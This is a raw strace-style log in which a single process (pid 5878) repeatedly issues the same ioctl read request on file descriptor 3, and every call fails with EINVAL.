[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
